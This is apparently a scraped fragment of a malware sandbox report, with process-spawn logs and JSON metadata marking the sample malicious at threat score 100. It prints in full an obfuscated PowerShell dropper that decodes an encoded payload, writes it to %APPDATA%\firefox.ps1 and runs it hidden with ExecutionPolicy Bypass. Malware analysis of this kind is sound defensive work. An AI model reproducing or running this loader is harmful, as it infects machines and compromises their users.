-eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$fgfw98JHGVfeg = \\"$env:appdata\\firefox.ps1\\";$qqpvm|Out-File -FilePath $fgfw98JHGVfeg;powershell -windowstyle hidden -ExecutionPolicy Bypass $fgfw98JHGVfeg;"" (UID: 00000000-00006444) Spawned process "powershell.exe" with commandline "-windowstyle hidden -ExecutionPolicy Bypass %APPDATA%\\firefox.ps1" (UID: 00000000-00005528) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\hcjefsh2\\hcjefsh2.cmdline"" (UID: 00000000-00004540) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESE5E9.tmp" "%TEMP%\\hcjefsh2\\CSC29A1145E7F9B470DABBE45571D78D30.TMP"" (UID: 00000000-00005740) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\news.ps1" (UID: 00000000-00004752) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\news.ps1" (UID: 00000000-00006112)58:T4eb3,"$VIUSBvejbawf = \"145 52 53 38 58 79 127 106 76 63 129 79 61 24 97 185 141 82 91 38 43 24 100 108 135 100 95 113 78 43 85 113 88 115 116 88 57 24 117 116 72 61 94 62 42 36 161 176 140 141 140 235 182 11 237 68 25 235 34 31 236 153 17 236 21 41 235 1 181 235 19 85 236 41 17 64 235 176 58 122 235 43 6 235 182 11 234 37 53 234 179 27 234 176 45 236 49 13 235 176 169 236 52 81 135 61 74 57 124 81 165 114 65 57 58 43 126 79 169 183 77 57 58 125 115 106 89 102 123 126 140 116 124 93 98 112 147 130 140 43 50 106 158 183 84 75 128 60 124 97 167 106 72 139 115 123 61 24 94 110 74 141 113 127 124 37 93 105 84 57 129 52 72 25 93 96 66 68 84 58 101 55 89 169 129 51 126 75 60 70 146 146 110 96 120 82 77 28 83 138 75 104 99 59 74 28 86 128 71 91 125 70 39 84 155 169 132 127 125 104 109 41 101 98 72 124 76 125 99 108 165 105 67 62 68 58 59 24 128 117 149 112 142 125 51 39 83 112 71 128 71 45 47 23 89 164 132 125 125 104 109 89 154 103 76 126 70 54 56 39 87 183 122 137 76 45 61 30 102 113 103 76 65 58 126 79 169 183 72 76 69 49 124 81 169 181 79 68 66 58 78 43 85 113 149 112 142 125 58 29 102 97 135 61 74 57 124 81 165 117 62 65 66 51 50 108 140 185 147 137 71 43 42 24 85 170 84 61 69 112 40 88 154 105 67 62 68 58 59 24 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 47 44 29 95 116 82 57 101 59 117 99 154 103 80 61 63 44 53 24 90 103 60 126 72 54 50 39 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 57 53 32 100 137 84 57 70 118 117 93 87 120 62 110 60 58 56 79 165 119 67 76 64 60 54 62 104 108 80 139 115 127 122 43 98 116 71 57 113 119 124 63 90 95 76 65 66 62 111 87 155 169 147 129 140 119 71 35 91 117 70 54 59 125 114 106 169 139 97 141 125 111 112 92 142 185 94 68 64 125 114 106 147 165 122 141 54 105 106 99 167 173 147 108 62 47 50 39 114 116 147 129 140 61 83 35 85 170 128 122 119 113 107 86 167 173 147 133 99 87 74 63 125 173 73 68 67 58 126 69 100 118 74 62 133 125 114 106 134 113 67 139 130 125 47 31 100 183 137 139 127 110 106 87 167 173 147 125 128 111 124 96 167 171 133 127 126 125 114 106 118 120 79 76 60 54 111 87 150 162 135 122 120 125 117 108 156 111 70 68 64 127 124 108 167 158 149 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 149 100 64 41 47 33 100 172 99 72 59 43 81 39 85 113 70 73 142 114 73 26 96 185 145 73 55 51 50 32 93 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 61 84 101 111 68 66 58 126 104 80 96 60 73 142 114 73 25 100 151 84 58 69 60 78 43 87 102 76 63 71 100 120 104 80 96 60 73 115 127 126 104 86 102 66 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 154 140 76 74 60 48 43 29 99 101 134 86 69 49 58 29 82 102 134 89 73 50 46 32 104 101 80 58 127 70 61 36 90 106 135 67 59 58 124 81 169 181 70 62 63 127 97 108 127 106 76 63 129 79 61 24 97 185 141 137 73 49 40 82 136 105 69 105 77 43 61 99 169 183 134 96 69 60 44 29 86 106 79 57 127 72 53 30 101 106 62 58 127 75 57 31 89 109 84 57 73 44 111 51 104 113 70 62 128 45 42 38 167 158 149 137 52 48 47 39 169 156 149 139 85 62 54 29 90 171 67 57 72 125 99 104 100 103 83 98 99 86 126 79 169 183 145 70 58 43 42 24 154 120 69 68 127 41 106 93 89 103 70 67 73 60 42 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 62 45 47 34 100 118 65 100 74 118 117 93 87 116 69 62 59 54 42 29 87 96 134 71 69 51 57 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 52 48 47 39 160 176 134 59 77 40 95 26 100 115 120 137 76 45 61 30 102 113 103 76 65 58 124 81 169 144 71 55 63 52 57 95 114 116 83 91 73 46 41 39 86 101 149 128 89 45 53 108 165 116 67 75 99 84 85 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 47 29 90 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 141 60 58 48 43 92 116 136 68 58 58 49 108 156 105 84 57 70 127 122 29 90 106 149 128 64 58 39 30 104 108 80 141 138 44 43 25 142 185 149 137 62 47 46 108 140 185 107 62 69 49 113 60 104 101 77 141 134 123 57 30 83 159 116 61 62 91 61 24 104 176 149 139 127 82 53 41 87 106 66 62 72 43 111 53 96 107 81 62 55 44 111 73 93 106 64 73 91 43 47 26 100 170 79 76 75 58 60 29 90 110 135 61 59 110 124 81 169 181 66 57 60 127 97 108 162 181 84 65 69 44 97 76 161 183 72 62 60 38 75 24 167 173 147 117 117 103 124 96 167 149 80 59 69 41 57 106 160 158 145 64 59 98 113 34 90 112 71 141 134 125 81 39 167 173 145 76 66 54 43 49 153 124 137 139 60 58 61 31 167 176 122 137 60 57 97 95 95 106 76 63 134 125 76 38 102 167 147 129 138 62 50 35 86 126 132 80 130 123 61 32 96 102 90 123 81 115 124 74 80 101 80 58 140 118 99 104 86 101 67 112 110 119 122 31 86 173 147 59 53 47 42 29 167 173 145 59 72 115 126 106 100 102 104 76 64 62 55 106 157 185 147 59 73 62 124 99 142 181 67 72 62 98 94 100 167 108 66 53 140 115 124 26 81 183 137 139 92 89 90 74 167 173 147 64 77 49 55 106 157 185 147 71 72 125 117 81 165 117 80 71 142 98 126 106 84 102 76 63 71 127 75 19 86 101 80 64 115 42 43 35 91 114 149 90 53 44 42 39 92 171 108 94 115 42 43 35 91 114 149 90 53 44 42 39 92 171 98 72 75 42 44 35 85 96 135 106 60 39 55 26 104 105 77 52 115 47 41 42 93 112 82 141 75 51 61 25 86 185 108 63 69 43 35 28 84 119 73 68 75 127 43 24 104 101 76 74 142 93 37 24 100 126 88 141 106 58 59 100 135 96 65 72 83 66 126 35 91 151 60 57 73 44 114 25 85 103 76 63 71 127 46 21 101 176 58 64 59 39 126 35 92 156 71 72 55 127 49 25 81 177 76 63 108 38 42 39 86 176 122 107 53 43 57 49 108 185 66 112 64 58 39 108 135 96 65 72 83 108 108 47 142 112 71 57 142 51 57 30 140 112 72 127 92 58 61 40 161 102 137 125 130 44 112 64 100 107 78 57 70 118 99 35 99 177 73 72 64 126 97 25 155 141 80 63 71 43 54 99 78 103 80 57 57 45 48 108 91 100 73 65 115 34 92 19 85 116 90 80 142 60 60 64 100 107 120 63 73 40 126 74 80 101 80 82 122 66 99 35 92 171 99 72 77 59 118 41 103 141 80 63 130 111 114 88 160 158 99 103 106 93 126 28 103 110 120 63 73 40 126 58 131 149 115 133 62 40 58 96 86 176 122 107 53 43 57 49 108 185 74 72 53 98 46 42 94 171 110 72 58 93 37 24 100 102 141 122 124 118 99 74 80 101 80 82 81 127 53 22 140 105 83 66 128 88 57 24 135 96 65 72 59 119 109 86 160 158 116 64 77 49 55 39 101 185 72 76 113 49 57 21 169 152 72 76 64 56 57 40 161 176 122 100 107 45 38 56 87 120 71 58 72 48 44 31 169 149 80 74 113 50 61 94 134 115 79 57 73 91 57 41 87 97 67 133 67 58 37 96 96 99 140 114 107 45 38 57 85 115 79 64 142 60 43 79 91 116 62 141 107 45 38 57 85 115 79 64 134 54 49 96 133 116 82 129 126 118 99 31 86 97 149 62 65 98 48 39 82 185 72 58 54 119 117 81 102 102 135 106 63 47 37 56 90 177 70 64 133 100 47 31 155 149 76 58 62 48 43 39 161 176 122 59 73 43 41 26 91 185 70 64 128 75 47 75 87 103 84 52 134 118 99 15 76 183 122 137 69 98 110 81 165 120 120 137 69 116 122 43 87 114 66 82 125 66 99 104 89 156 147 69 63 48 46 106 142 181 66 112 110 119 124 82 167 173 147 58 116 125 117 81 165 103 120 137 62 127 113 26 100 105 73 76 75 58 126 106 90 183 137 139 58 125 99 38 90 103 80 76 75 55 118 104 96 101 80 64 142 54 48 108 165 103 80 61 133 36 122 40 100 115 120 137 74 58 56 108 156 103 80 61 66 62 59 39 169 181 76 57 73 50 114 104 86 101 67 82 138 54 65 81 165 112 138 130 115 34 93 40 101 172 97 52 62 58 126 95 117 96 69 72 106 58 56 35 91 112 65 68 63 49 126 104 101 116 79 114 138 47 39 40 169 156 149 139 99 54 82 64 121 162 66 58 139 125 99 104 100 116 80 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 91 116 62 58 128 47 43 91 167 158 145 70 58 43 42 24 169 156 149 139 70 43 42 28 86 159 134 126 71 54 42 32 104 119 135 74 63 50 124 81 165 120 65 66 67 52 126 79 169 183 78 65 62 62 42 95 94 131 66 65 53 44 53 50 100 160 96 61 126 107 36 92 117 119 111 118 103 88 81 86 124 136 69 55 95 53 89 65 101 133 69 58 85 49 76 91 112 98 125 127 126 110 112 91 146 168 82 73 55 50 109 42 167 158 145 61 60 48 52 39 102 101 108 73 142 98 126 106 94 116 63 68 64 114 55 26 90 100 69 120 125 111 109 85 152 166 134 59 69 112 54 35 99 116 67 139 115 123 60 26 104 107 82 69 96 62 49 39 169 156 149 139 65 62 53 30 167 158 145 71 69 51 57 60 104 101 77 141 113 127 124 25 102 120 73 65 128 43 38 24 167 158 145 73 55 51 50 32 93 185 120 141 140 123 55 24 85 101 65 126 77 47 53 93 83 165 134 61 60 48 52 39 102 101 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 28 87 106 75 72 75 43 85 40 160 176 134 59 73 47 47 25 96 101 70 59 53 112 56 35 93 116 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 38 96 109 80 93 77 43 54 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 104 104 114 80 63 58 98 118 106 124 106 59 68 66 51 61 93 148 171 133 139 130 125 118 53 96 107 81 62 55 44 124 96 167 185 103 89 142 110 110 94 153 158 149 86 69 49 124 96 167 163 129 114 142 39 104 88 160 183 137 139 109 47 46 32 100 130 80 139 130 125 60 65 96 101 134 120 123 104 112 89 147 183 137 139 134 84 86 56 124 141 137 65 69 52 57 108 130 116 82 66 63 118 124 96 167 150 77 59 140 115 124 29 92 116 147 129 140 112 109 88 148 183 137 139 126 113 110 106 157 183 135 125 128 111 124 96 167 134 84 71 77 45 53 93 148 166 126 127 123 105 124 99 169 172 75 62 69 49 126 106 169 183 122 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 145 59 73 44 46 29 91 102 80 141 113 127 85 30 83 106 74 72 129 72 57 42 119 116 68 56 73 44 42 108 156 132 67 68 142 123 58 21 93 109 73 65 142 114 86 39 104 117 80 59 59 127 122 36 100 120 81 72 60 44 126 95 116 102 80 59 109 56 57 30 85 185 145 76 71 58 48 24 169 172 96 58 73 93 61 25 96 118 101 76 60 44 53 30 98 158 90 107 53 43 57 49 108 124 145 75 53 43 57 25 169 156 149 137 60 58 43 28 90 107 66 72 128 92 47 30 85 116 71 57 115 68 92 19 85 116 90 80 81 123 58 39 102 119 60 57 73 44 97 49 128 107 76 57 81 101 100 72 100 118 141 137 76 38 42 39 86 173 145 61 55 59 117 81 110 134 60 58 58 58 49 94 117 116 61 57 128 90 48 41 90 117 76 63 71 66 100 82 136 134 114 100 101 113 87 39 85 134 65 59 69 49 55 100 165 117 80 74 76 38 42 39 86 176 57 141 95 42 42 95 131 112 73 72 142 114 88 35 93 116 101 76 58 55 126 104 100 116 80 141 129 90 48 41 90 117 76 63 71 127 41 24 99 161 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 119 81 169 181 66 57 60 127 34 108 122 100 65 128 104 54 50 39 169 172 111 68 66 58 78 43 85 113 149 137 62 47 46 108 156 148 71 74 63 59 53 30 98 185 96 89 104 103 99 108 165 120 82 57 69 48 48 108 140 185 103 72 55 114 75 41 97 116 81 56 66 58 58 56 104 102 74 108 75 43 53 29 91 185 136 104 54 58 59 23 85 116 149 139 55 44 59 26 96 105 65 127 73 39 57 106 169 172 116 59 71 42 49 39 91 101 149 139 127 112 60 108 154 170 71 62 66 48 55 29 169 121 147 137 59 44 43 44 167 183 122 141 138 43 44 35 98 114 80 59 142 98 126 62 100 98 136 90 75 55 57 40 84 109 80 73 90 62 43 33 117 103 76 70 71 58 44 108 156 138 71 74 73 127 113 75 85 185 141 102 73 43 113 72 104 101 80 132 128 94 58 40 124 112 71 56 58 58 43 100 152 169 140 141 129 77 57 28 100 101 76 57 69 48 48 67 91 101 80 59 56 62 50 108 161 139 80 54 129 75 53 31 100 134 69 76 64 127 113 63 96 107 64 57 73 44 126 89 153 176 122 141 138 44 57 24 85 112 71 70 59 127 97 108 123 116 62 128 91 60 54 39 101 100 73 72 74 75 61 25 94 134 80 57 58 54 48 37 86 134 80 57 142 114 86 35 101 117 80 63 115 127 76 39 98 112 66 57 73 45 113 57 102 113 80 73 57 51 57 40 117 120 66 66 142 114 74 43 86 110 103 76 65 58 126 106 124 112 82 59 63 44 47 38 85 148 81 70 73 74 46 40 104 101 80 89 77 44 51 63 104 118 77 68 64 58 90 72 131 138 94 92 62 36 88 89 148 169 131 124 118 108 105 95 150 164 99 128 122 94 108 70 156 166 92 117 89 114 107 66 145 162 101 123 100 87 87 55 76 183 149 128 109 60 42 35 90 107 149 137 77 60 42 35 90 107 149 128 90 45 53 37 98 116 67 141 138 43 44 35 98 114 80 59 142 114 75 39 85 101 76 63 71 44 126 104 86 116 65 57 69 49 55 25 142 185 145 72 73 58 126 79 169 143 70 68 64 114 78 43 85 113 149 133 138 58 48 22 143 152 69 61 106 62 42 43 160 185 147 63 73 40 43 94 89 102 132 139 115 127 126 104 104 109 76 58 113 95 118 106 92 106 67 52 91 43 124 96 167 161 124 117 140 115 124 72 100 103 76 55 73 125 117 81 165 108 66 112 129 53 47 35 91 185 141 139 97 58 124 96 165 120 73 68 59 68 110 47 157 183 67 72 77 50 124 99 142 181 67 71 113 114 52 29 96 107 141 139 92 57 59 90 167 173 145 76 66 54 43 49 152 124 137 137 77 51 53 25 110 167 88 129 140 93 37 24 100 102 147 132 115 123 43 24 87 156 117 133 138 50 43 96 167 103 60 61 58 48 124 96 165 103 79 129 142 125 57 25 124 120 71 76 71 125 114 108 167 103 80 76 140 118 99 104 87 116 69 112 110 119 124 31 86 97 147 129 140 45 38 106 157 183 99 103 106 93 124 96 167 108 84 63 71 125 114 108 167 115 79 139 133 100 122 40 100 115 149 112 142 125 41 25 96 107 78 141 91 38 43 24 100 108 122 56 59 54 48 37 169 134 60 58 58 58 49 94 128 138 122 56 59 54 48 37 169 134 60 58 58 58 49 94 118 116 82 56 60 54 42 19 155 150 67 53 71 45 61 28 97 96 122 61 57 61 50 35 102 185 82 65 77 44 43 108 128 107 76 57 51 47 41 42 93 112 82 141 59 43 61 24 96 118 149 107 53 43 57 49 108 185 113 72 75 119 92 19 85 116 90 80 142 54 48 74 80 101 80 58 130 44 42 26 96 107 78 141 62 40 58 99 78 108 66 53 142 54 49 79 91 116 62 141 65 44 38 100 96 107 115 52 58 58 43 99 142 151 60 57 73 68 65 108 86 156 71 72 55 127 92 19 85 116 90 122 124 66 99 35 91 101 149 65 73 49 97 35 92 171 99 72 77 59 118 25 157 169 137 58 128 83 57 30 98 101 77 132 115 54 56 100 93 116 71 140 113 44 112 64 100 107 78 57 70 118 35 26 100 101 64 59 64 127 48 23 93 109 122 48 108 38 42 39 110 124 149 74 76 83 57 30 140 107 80 54 142 93 37 24 100 126 129 80 115 54 49 94 119 116 84 73 134 60 60 64 100 107 137 125 130 107 117 81 119 147 113 107 142 47 60 33 140 107 80 54 142 77 88 72 135 177 69 54 74 115 43 99 142 151 60 57 73 68 65 108 94 116 60 112 62 61 51 94 130 116 65 107 53 43 57 25 161 166 131 132 115 93 37 24 100 126 88 141 69 41 97 28 103 110 135 102 73 43 92 19 85 116 66 133 125 105 117 81 136 108 84 63 71 58 58 108 92 120 120 63 73 40 126 75 92 120 71 70 73 59 118 99 142 144 114 59 54 75 44 43 91 102 79 62 60 50 126 72 100 118 120 64 77 113 91 38 99 101 80 105 73 60 44 20 87 177 74 72 53 115 53 22 160 158 114 59 54 76 42 38 99 108 149 74 59 98 48 39 82 185 114 59 54 76 42 38 99 108 141 68 65 115 90 39 102 173 133 132 115 50 43 20 169 106 72 112 64 58 39 108 92 102 61 133 133 100 59 25 155 150 70 61 53 75 47 100 90 108 140 114 63 50 112 72 96 102 69 62 59 58 118 99 142 103 80 57 57 45 48 108 90 108 135 89 63 94 44 26 104 96 141 132 115 34 33 106 142 181 76 112 126 100 122 43 140 181 76 130 138 62 44 37 86 126 132 80 115 123 46 79 167 113 70 62 62 125 99 104 86 156 117 133 140 101 124 96 167 102 123 139 133 100 122 26 140 181 69 141 129 45 57 28 93 120 82 72 142 125 47 106 157 183 65 139 115 57 47 26 100 120 82 69 134 123 53 24 100 108 149 68 64 127 122 26 100 105 140 50 138 59 57 38 140 181 81 72 72 127 113 26 100 105 73 76 75 58 126 104 96 101 80 64 130 123 43 24 87 126 145 68 81 100 122 35 158 174 122 48 109 59 58 95 117 96 69 72 142 114 74 19 89 116 113 72 72 54 48 35 85 112 70 63 142 123 58 39 99 158 145 61 55 59 126 79 169 183 106 68 98 83 78 85 86 102 146 139 115 123 56 28 89 105 149 112 142 125 61 34 90 119 82 76 66 51 112 24 81 101 147 114 138 59 39 32 93 109 73 124 142 98 126 106 165 114 65 57 58 43 111 43 89 112 134 55 122 112 46 26 90 111 80 74 58 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 69 59 63 53 57 41 85 144 81 132 133 112 44 39 89 106 66 68 58 48 44 19 154 115 76 65 73 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 79 61 62 47 117 99 154 103 84 54 111 45 57 38 140 181 83 59 77 49 59 36 123 120 72 72 140 100 122 26 100 102 69 62 64 44 57 108 140 185 108 63 56 48 51 39 156 130 80 75 92 58 45 23 100 102 65 141 129 74 44 35 169 181 81 54 66 51 50 32 152 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 55 86 116 115 76 59 54 59 60 104 103 66 68 64 56 99 49 135 96 65 72 83 66 65 104 103 96 65 72 59 127 97 108 165 103 80 58 62 48 48 25 100 171 114 62 64 43 57 30 85 158 90 107 53 43 57 49 108 124 145 73 73 60 60 19 85 116 66 112 83 86 48 35 85 124 123 115 106 58 59 100 165 119 60 57 73 44 114 104 89 98 81 132 115 68 75 19 86 101 80 64 128 75 57 20 85 171 112 63 75 48 58 35 91 114 88 115 116 94 75 73 128 144 135 102 73 43 75 24 87 112 71 70 134 123 58 39 102 119 60 57 73 44 117 16 169 138 64 57 129 89 53 32 100 185 136 103 69 51 57 60 104 101 77 141 138 58 57 39 169 172 112 63 75 48 58 35 91 114 149 56 58 57 102 81 118 101 84 59 58 114 78 26 90 118 80 58 59 127 46 29 82 116 67 58 70 58 50 32 169 172 116 59 71 42 49 39 91 101 105 68 59 43 126 106 156 139 70 93 60 48 56 35 93 116 149 128 105 39 57 41 84 101 76 62 64 79 47 32 96 118 60 141 108 38 46 43 86 102 149 128 104 54 50 39 169 181 80 72 73 125 126 95 114 112 71 73 63 40 75 24 80 109 80 141 102 54 58 40 100 107 122 141 142 127 122 38 89 105 69 141 113 127 124 43 95 106 83 74 77 51 50 94 85 97 65 139 115 123 58 21 93 109 73 65 125 127 97 108 167 181 78 57 58 43 42 93 104 105 76 126 56 107 111 28 87 106 75 72 75 43 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 61 60 48 52 39 102 101 108 73 133 118 111 26 100 105 70 58 69 43 47 26 80 170 79 68 66 58 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 71 62 47 46 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 108 128 107 63 62 67 58 113 53 100 119 99 72 61 42 57 25 85 185 136 88 60 54 126 104 101 98 73 65 66 51 109 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 57 39 100 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 126 108 119 116 72 62 56 58 113 67 85 116 72 141 129 79 61 24 97 185 145 96 53 86 48 22 90 118 84 57 69 48 48 94 124 96 114 62 65 50 61 30 101 171 101 76 58 55 126 95 131 106 67 74 73 100\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \" \"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \"NFG87%br\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\"$Apkengsidefg\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j -eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$fgfw98JHGVfeg = \"$env:appdata\firefox.ps1\";$qqpvm|Out-File -FilePath $fgfw98JHGVfeg;powershell -windowstyle hidden -ExecutionPolicy Bypass $fgfw98JHGVfeg;"59:T558,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADyElEQVR4Xu2XyU8TYRjG/Ytc4nZ1uXj3ZjRu0YtGr3rQsK+FIiFAWwptoRVrXYILIjaoBMtRrQeNihxEISWyd2F7nOdrv+l0Njt6dZInnQYyv9/7zve9M92x4/9hcoTDYTADAwPo7+9HKBRCMBhCIBhEIBBAX18fent74ff3osfvh6+nB16fD16vDx6PF37lbx0dHdBft+yD8K2tLUM2tdnUZxPb29uIRCKYnp4WUn8twcoJ3NjYwDqzLrOOnEwu/5nNyeSEBAWWl5fx9esUPF4v3H8jwbabCahwntsILCwsYH5+Hh8/fUJXtwdut9uZBO85BQTcTIBwFWwUSKVSmJubw8zMDJLJJDo7u5wJcMGpAlbt14D1Ai6XqyRt7e3OBLjahYAKt2l/tijA81ml8p+zMrNKN+bRduuWQwFlq0mBIlgDN2m/FMhok8kq62gT7jaHAtzn3Gp/hOuqLxXIqgKt7jZnAhwyeQF2oAguXfkauFn1ikC6INDS6nAXcMJxuJiD+V3C7auXAq7WVmcCHK+iAzpwadut4MXqpUBzS4szAY5RdsAAVuHFtpvBZfWqgMuhAB8s3NMqRCviAC4FmppdDgW8FNB2oAC1hecM8LzABhqbmp0J8JGqdkAHNQWbVC7DadrQ1ORMoNvjyQtooOZge3g6nREC9Y02AolEApOTk0i8eYOJiQmMj4/j9avXePXyJcbGxhCPx/Fi9AVGnz/HyLMRjCif5cLXCgJ1DY3WAoTzPpWbp0+eqOA/wVWB+gZrAVbOC2cyGXz4MoujV6M4eDFsSDqdFv/3+NEja7AOLgVq6+qtBdh2KcAkv/zEkSuDOHAhVBIK8JE8NDRkhBaiBWsFaurqrAV4z/UChy+Hsf98oCRra2tC4OGDhwawvmq9QHWtjQAXnBRIfv6BQ5f6se+cvzRn/VhdXRXPgAf375cF1gpU1dRaC3C1S4HzDUPYe9ZnzBkfVlZWhMC9WKwssFagsrrGWoBbjQKpX0vYc9pTSLdILP5ehOd8080qqz8WjRogdhECVdXWAtznFJj6nsLuU11qYvF3ou2sPDr6FktLS0IgOnjHALELBSrsBDhk5C04djWIXSc7cPxaRIWzcsIXFxeFwGDkdvFtuczcrKyyFuCEowAvPvFuCjtPtON01V2x6rUSDCUjyq8mznaOV044Dhnuc241rnYuON5ztp2VE36jotJagONVTjlus8T7b7jeOZx/61GkZOQ2HVB+tOiv8U/H8PCwGK+ccBwy3OfcalztXHC852w7Kyc8oLwv6q/xL8dv681F4q47L9QAAAAASUVORK5CYII=1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790726248252,"unified_at":"2026-09-29T23:57:28.252Z","metadata":{"hashes":{"sha256":"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e","sha1":"9a6946ca040c259a59deb11942d94ebbcff0cdef","md5":"302725413076d1aeaee2d7f2b3692646","sha512":"15794bd87bbfccbf610ca126e66b18d818c362aefe0eb07b5db9daf1bc7714ff75c0ab2b9fb6a6999f5756986f5e60f68f4ed1456a3b756feccf3c15a836271d","ssdeep":"1536:FJbFi322qPJ2XN/eNYPKPfuuzGzGzGzGzGzGzGzGzGzGzGzGzGzGzGzGzGzGzGzH:FJbFi322qPJ2XN/eNYPKPfuT","ssdeep_chunks":["1536:FJbFi32","1536:JbFi322","1536:bFi322q","1536:Fi322qP","1536:i322qPJ","1536:322qPJ2","1536:22qPJ2X","1536:2qPJ2XN","1536:qPJ2XN/","1536:PJ2XN/e","1536:J2XN/eN","1536:2XN/eNY","1536:XN/eNYP","1536:N/eNYPK","1536:/eNYPKP","1536:eNYPKPf","1536:NYPKPfu","1536:YPKPfuu","1536:PKPfuuz","1536:KPfuuzG","1536:PfuuzGz","1536:fuuzGzG","1536:uuzGzGz","1536:uzGzGzG","1536:zGzGzGz","1536:GzGzGzG","1536:GzGzGzH","3072:FJbFi32","3072:JbFi322","3072:bFi322q","3072:Fi322qP","3072:i322qPJ","3072:322qPJ2","3072:22qPJ2X","3072:2qPJ2XN","3072:qPJ2XN/","3072:PJ2XN/e","3072:J2XN/eN","3072:2XN/eNY","3072:XN/eNYP","3072:N/eNYPK","3072:/eNYPKP","3072:eNYPKPf","3072:NYPKPfu","3072:YPKPfuu","3072:PKPfuuz","3072:KPfuuzG","3072:PfuuzGz","3072:fuuzGzG","3072:uuzGzGz","3072:uzGzGzG","3072:zGzGzGz","3072:GzGzGzG","3072:GzGzGzH","1536:YPKPfuT"],"imphash":"Unknown"},"file_info":{"file_name":"2df24d850d6a50410e6503bc449a61778e5e88722